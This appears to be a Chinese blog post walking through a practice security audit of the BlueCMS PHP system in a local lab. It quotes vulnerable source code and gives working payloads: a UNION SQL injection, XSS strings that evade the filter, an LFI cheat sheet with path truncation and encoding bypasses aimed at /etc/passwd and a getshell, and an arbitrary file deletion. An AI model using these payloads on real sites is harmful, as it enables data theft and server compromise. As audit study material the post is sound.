著名开源 cms,也是有很多漏洞,正好拿来先练个手
用 phpstudy 先随便搭一个出来
先简单过一下目录结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 bluecms/ ├── admin/ # 后台管理系统 │ ├── config.inc.php # 后台配置文件 │ ├── index.php # 后台登录入口 │ ├── main.php # 后台主界面 │ ├── ... # 各种管理模块文件 │ ├── api/ # api接口 │ ├── index.htm # 防止目录浏览 │ └── uc.php # 用户中心接口文件 │ ├── data/ # 系统数据文件 │ ├── config.inc.php # 全局配置文件 │ └── install.lock # 安装锁 │ ├── images/ # 图片资源目录 │ ├── banner/ # banner 图片 │ └── ... # 其他图片 │ ├── include/ # 核心函数、类库等 │ ├── db_mysql.class.php # 数据库操作类 │ ├── common.inc.php # 通用函数 │ └── ... # 其他类库 │ ├── js/ # JS 脚本资源 │ ├── jquery.js # jQuery 库 │ └── admin.js # 后台用 JS │ ├── templates/ # 前台模板文件 │ ├── default/ # 默认模板 │ │ ├── header.html │ │ ├── footer.html │ │ └── index.html │ └── ... # 其他模板风格 │ ├── uploadfile/ # 上传文件目录(需要可写) │ ├── image/ │ └── ... # 附件、图片等 │ ├── index.php # 首页入口 ├── search.php # 搜索功能 ├── content.php # 内容显示页 ├── list.php # 列表页 ├── install/ # 安装程序(建议安装后删除) │ ├── index.php │ └── ... └── readme.txt # 系统说明
用 Seay 自动审计,然后一个一个去检查
ad_js.php
这里有 sql 查询语句
查看一下 common.inc.php 文件的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 <?php /** * [bluecms]版权所有 标准网络,保留所有权利 * This is not a freeware, use is subject to license terms * * $Id:common.inc.php * $author:lucks */ if(!defined('IN_BLUE')) { die('Access Denied!'); } error_reporting(E_ERROR); define('BLUE_ROOT',str_replace("\\","/",substr(dirname(__FILE__),0,-7))); define('UPLOAD',"upload/"); define('DATA', "data/"); session_cache_limiter('private, must-revalidate'); session_start(); require_once(BLUE_ROOT.'data/config.php'); define('BLUE_PRE',$pre); require_once (BLUE_ROOT.'include/common.fun.php'); require_once(BLUE_ROOT.'include/cat.fun.php'); require_once(BLUE_ROOT.'include/cache.fun.php'); require_once(BLUE_ROOT.'include/user.fun.php'); require_once(BLUE_ROOT.'include/index.fun.php'); if(!get_magic_quotes_gpc()) { $_POST = deep_addslashes($_POST); $_GET = deep_addslashes($_GET); $_COOKIES = deep_addslashes($_COOKIES); $_REQUEST = deep_addslashes($_REQUEST); } $timezone = "PRC"; if(PHP_VERSION > '5.1') { date_default_timezone_set($timezone); } $timestamp = time(); $online_ip = getip(); header("Content-Type:text/html;charset=".BLUE_CHARSET); $php_self = isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; if(isset($_SERVER['REQUEST_URI'])) { $url = $_SERVER['REQUEST_URI']; } else { $url = $php_self . "?" . $_SERVER['QUERY_STRING']; } require_once(BLUE_ROOT.'include/mysql.class.php'); $db = new mysql($dbhost,$dbuser,$dbpass,$dbname); unset($db_host,$db_user,$db_pass,$db_name); require(BLUE_ROOT.'include/smarty/Smarty.class.php'); $smarty = new Smarty(); $smarty->caching = false; $smarty->cache_lifetime = 86400; $smarty->template_dir = BLUE_ROOT.'templates/default/'; $smarty->compile_dir = BLUE_ROOT.'data/compile/'; $smarty->cache_dir = BLUE_ROOT.'data/cache/temp_cache/'; $smarty->left_delimiter = "{#"; $smarty->right_delimiter = "#}"; $cache_set = read_static_cache('cache_set'); $_CFG = get_config(); if($_CFG['isclose']) { if($_CFG['reason']) { showmsg($_CFG['reason']); } else { showmsg('站点暂时关闭...'); } } $banned_ip = get_bannedip(); if (@in_array($online_ip, $banned_ip)) { showmsg('对不起,您的IP已被禁止,有问题请联系管理员!'); } if(!$_SESSION['user_id']) { if($_COOKIE['BLUE']['user_id'] && $_COOKIE['BLUE']['user_name'] && $_COOKIE['BLUE']['user_pwd']) { if(check_cookie($_COOKIE['BLUE']['user_name'], $_COOKIE['BLUE']['user_pwd'])) { update_user_info($_COOKIE['BLUE']['user_name']); } } else if($_COOKIE['BLUE']['user_name']) { $user_name = $_COOKIE['BLUE']['user_name']; $user = $db->query("SELECT COUNT(*) AS num FROM ".table('user')." WHERE user_name='$user_name'"); if($user['num'] == 1) { $active = 0; } else { $active = 1; } } else { setcookie("BLUE[user_id]", '', -86400, $cookiepath, $cookiedomain); setcookie("BLUE[user_name]", '', -86400, $cookiepath, $cookiedomain); setcookie("BLUE[user_pwd]", '', -86400, $cookiepath, $cookiedomain); } } $smarty->assign('user_name', $_SESSION['user_name']); if ($_CFG['gzip'] == 1 && function_exists('ob_gzhandler')) { ob_start('ob_gzhandler'); } else { ob_start(); } ?>
(没有注释读起来真的累,关键我 php 都没怎么学过,语法都记不全)
简单总结就是整个 bluecms 系统的核心初始化文件,主要作用是为每个页面提供公共的环境配置、数据库连接、用户会话、模板引擎等基础功能。
(话说为什么要管这么多,直接测)
这里看似没有回显,但是其实在源代码中藏有注释
1 2 3 <!-- document.write("7"); -->
所以 7 是回显位
1 -1 union select 1,2,3,4,5,6,database()
能爆出数据库名为 root,证明漏洞存在
同时这里还可以 xss
原理是 sql 查询插入非法语句后会回显报错信息,但是这个报错信息中有一段 xss 语句,形成反射性 xss
ann.php (看到这个文件名字就想到 anon,没救了属于是)
这里的 sql 语句其实是没有 sql 注入漏洞的,我们来看传参的部分
1 $ann_id = !empty($_REQUEST['ann_id']) ? intval($_REQUEST['ann_id']) : '';
这里用 intval 对传入的 ann_id 做了强制类型转换,无论用户传入什么内容,最终 ann_id 只会是一个整数,不会包含恶意 sql 语句
所以下面这里也是同理,不能进行注入
1 $db->query("UPDATE ".table('ann')." SET click = click+1 WHERE ann_id = ".$ann_id);
coment.php 1 2 3 4 5 6 7 8 if($type == 1) { $db->query("UPDATE ".table('article')." SET comment = comment+1 WHERE id = ".$id); } elseif($type == 0) { $db->query("UPDATE ".table('post')." SET comment = comment+1 WHERE post_id = ".$id); }
这里也是同理,参数被 intval 函数包含了
user.php xss 1 2 3 4 5 6 7 8 9 10 11 12 include_once 'include/upload.class.php'; $image = new upload(); $title = !empty($_POST['title']) ? htmlspecialchars(trim($_POST['title'])) : ''; $color = !empty($_POST['color']) ? htmlspecialchars(trim($_POST['color'])) : ''; $cid = !empty($_POST['cid']) ? intval($_POST['cid']) : ''; if(empty($cid)){ showmsg('新闻分类不能为空'); } $author = !empty($_POST['author']) ? htmlspecialchars(trim($_POST['author'])) : $_SESSION['admin_name']; $source = !empty($_POST['source']) ? htmlspecialchars(trim($_POST['source'])) : ''; $content = !empty($_POST['content']) ? filter_data($_POST['content']) : ''; $descript = !empty($_POST['descript']) ? mb_substr($_POST['descript'], 0, 90) : mb_substr(html2text($_POST['content']),0, 90);
可以注意到,content 是没有被 htmlspecialchars 处理的,或许可以 xss
跟进到 filter_data:
1 2 3 4 5 function filter_data($str) { $str = preg_replace("/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/", "", $str); return $str; }
过滤了常用的xss标签,但仍存在其他的xss标签,如
1 2 3 4 <img src=1 onerror=alert(1)> <a href=javascript:alert(1)></a> <svg onload=alert(1)> <button onclick=alert(1)>
这样就是一个存储型 xss,只要点开这个新闻就会弹窗
文件包含 1 2 3 4 5 6 7 8 9 10 elseif ($act == 'pay'){ include 'data/pay.cache.php'; $price = $_POST['price']; $id = $_POST['id']; $name = $_POST['name']; if (empty($_POST['pay'])) { showmsg('对不起,您没有选择支付方式'); } include 'include/payment/'.$_POST['pay']."/index.php"; }
这里可能会有一个文件包含,可以配合上传点用图片马 getshell
这里注意 include ‘include/payment/‘.$_POST[‘pay’].”/index.php”;在后面加了/index.php,所以要想办法截断,php5.4 之前的版本可以直接 00 截断,5.4 之后的版本可以利用文件路径长度截断,如用字符.或者/.或者./来截断。但是经过尝试后发现只有点截断可行
复现没截图
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 本地文件包含知识 点号截断: ?file=../../../../../../../../../boot.ini/………[…]………… (php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256,y因为在windows下路径超过256个字符后的东西会被舍弃) %00截断: ?file=../../../../../../../../../etc/passwd%00 (php 版本<= 5.3的才有。例如test.php%00.jpg,这时就会去掉%00后面的字符串。所以程序读取时候就变成了test.php) 0x00截断: ?file=../../../../../../../../../var/www/%00 (需要 magic_quotes_gpc=off,unix 文件系统,比如 FreeBSD,OpenBSD,NetBSD,Solaris) 路径长度截断: ?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././. (php 版本小于 5.2.8 可以成功,linux 需要文件名长于 4096,windows 需要长于 256 利用操作系统对目录最大长度的限制,可以不需要 0 字节而达到截断的目的,在 window 下 256 字节、linux 下 4096 字节时会达到最大值,最大值长度之后的字符将被丢弃。而利用 "./" 的方式即可构造出超长目录字符串.) 编码绕过: ../ -》 %2e%2e%2f -》 ..%2f -》 %2e%2e/ ..\ -》 %2e%2e%5c -》 ..%5c -》 %2e%2e (如果服务器对../ 等做一些过滤,可以用一些编码来进行绕过.注:必要情况下可以进行二次编码)
任意文件删除 在php中任意删除文件常用于unlink函数,这个函数是删除文件的,可能存在任意文件删除漏洞
1 2 3 4 5 6 7 8 9 10 11 12 if (!empty($_POST['face_pic1'])){ if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'https://') != false){ showmsg('只支持本站相对路径地址'); } else{ $face_pic = trim($_POST['face_pic1']); } }else{ if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){ @unlink(BLUE_ROOT.$_POST['face_pic3']); } }
位置1:user.php->act=edit_user_info ;我们判断处当变量act=edit_user_info给user_id和face_pic3一个文件即可尝试是否删除(这里我们文件夹内以一个test.txt文件尝试)删除成功
guest_book.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 <?php /** * [bluecms]版权所有 标准网络,保留所有权利 * This is not a freeware, use is subject to license terms * * $Id:guest_book.php * $author:lucks */ define('IN_BLUE', true); require dirname(__FILE__) . '/include/common.inc.php'; $act = !empty($_REQUEST['act']) ? trim($_REQUEST['act']) : 'list'; $ann_cat = $db->getall("SELECT * FROM ".table('ann_cat')." ORDER BY show_order, cid"); if ($act == 'list') { $guest_total = $db->getfirst("SELECT COUNT(*) FROM ".table('guest_book')." WHERE rid =0"); include_once BLUE_ROOT.'include/page.class.php'; $perpage = '10'; $page = new page(array('total'=>$guest_total, 'perpage'=>$perpage)); $currenpage=$page->nowindex; $offset=($currenpage-1)*$perpage; $sql = "SELECT a.*, b.user_name, c.add_time AS reply_time, c.content AS reply_content FROM (" . table('guest_book')." AS a LEFT JOIN ".table('user')." AS b ON a.user_id = b.user_id) LEFT JOIN " . table('guest_book')." AS c ON a.id = c.rid WHERE a.rid=0 ORDER BY id DESC LIMIT $offset, $perpage"; $guest_list = $db->getall($sql); template_assign( array( 'current_act', 'cat_nav', 'add_nav_list', 'bot_nav', 'user_name', 'url', 'guest_list', 'guest_total', 'page', 'page_id', 'user_id', 'ann_cat' ), array( '留言列表', $cat_nav, $add_nav_list, $bot_nav, $_SESSION['user_name'], base64_encode($url), $guest_list, $guest_total, $page->show(3), $currenpage, $_SESSION['user_id'], $ann_cat ) ); $smarty->display('guest_book.htm'); } elseif ($act == 'send') { $user_id = $_SESSION['user_id'] ? $_SESSION['user_id'] : 0; $rid = intval($_POST['rid']); $content = !empty($_POST['content']) ? htmlspecialchars($_POST['content']) : ''; $content = nl2br($content); if(empty($content)) { showmsg('评论内容不能为空'); } $sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content) VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')"; $db->query($sql); showmsg('恭喜您留言成功', 'guest_book.php?page_id='.$_POST['page_id']); } elseif ($act == 'del') { $id = intval($_GET['id']); if (empty($id)) { return false; } if ($_SESSION['user_id'] != 1) { showmsg('您没有删除此留言的权限'); } $db->query("DELETE FROM " . table('guest_book') . " WHERE id=" . $id); $db->query("DELETE FROM " . table('guest_book') . " WHERE rid=" . $id); } ?>
一个留言板的功能,实测并没有 xss 盲打
这个简单来说就是这样了,我看网上文章应该还有一个 ssrf,但是我没测出来,还得再练啊┭┮﹏┭┮
下一个 cms 审哪个呢,大家推荐一下